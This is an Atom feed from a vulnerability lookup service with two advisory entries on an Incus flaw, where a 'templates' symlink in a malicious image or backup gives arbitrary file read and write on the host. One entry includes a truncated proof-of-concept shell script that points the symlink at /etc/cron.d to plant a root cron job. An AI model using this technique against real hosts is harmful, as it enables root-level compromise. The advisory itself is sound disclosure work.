<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://vulnerability.circl.lu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-02T02:38:18.329542+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@circl.lu</email>
  </author>
  <link href="https://vulnerability.circl.lu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/cve-2026-48752</id>
    <title>CVE-2026-48752 — Incus has arbitrary file read+write on host via templates/ symlink in malicious image</title>
    <updated>2026-10-02T02:38:18.699475+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> lxc incus</p>
<p>Incus is a system container and virtual machine manager. Prior to version 7.2.0, a specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution. Version 7.2.0 patches the issue.</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/cve-2026-48752"/>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/ghsa-vxp5-584q-c479</id>
    <title>GHSA-vxp5-584q-c479 — Incus has arbitrary file read+write on host via templates/ symlink in malicious image</title>
    <updated>2026-10-02T02:38:18.699632+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Go: github.com/lxc/incus/v7/cmd/incusd</p>
<p>### Summary</p>
<p>A specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.</p>
<p>### Details</p>
<p>For container images, `internal/server/storage/utils.go` calls `archive.Unpack(imageFile, destPath, ...)`. The tar extraction path in `shared/archive/archive.go` excludes device nodes, but it does not reject a top-level `templates` symlink.</p>
<p>For instance backups, `internal/server/storage/drivers/driver_dir_volumes.go:rsync.LocalCopy` uses argument `-a` (archive mode), but does not add `--safe-links`. This allows a top-level `templates` symlink.</p>
<p>In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.</p>
<p>### PoC</p>
<p>#### Malicious container image</p>
<p>Below, the templates directory is  mapped to `/etc/cron.d` on the host, but it can be mapped anywhere. After that, create a cronjob to run `id` as root.</p>
<p>```
#!/bin/sh
set -eu</p>
<p>tmpdir=$(mktemp -d)
cleanup() {
    rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP</p>
<p>mkdir -p "${tmpdir}/img/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/templates"
cat&lt;&lt;__EOF__&gt;"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
  description: PoC templates symlink host afrw
__EOF__</p>
<p>cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * &gt;../afrw-image-templates-symlink.tar
incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink
incus init afrw-image-templates-sy…</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/ghsa-vxp5-584q-c479"/>
  </entry>
</feed>
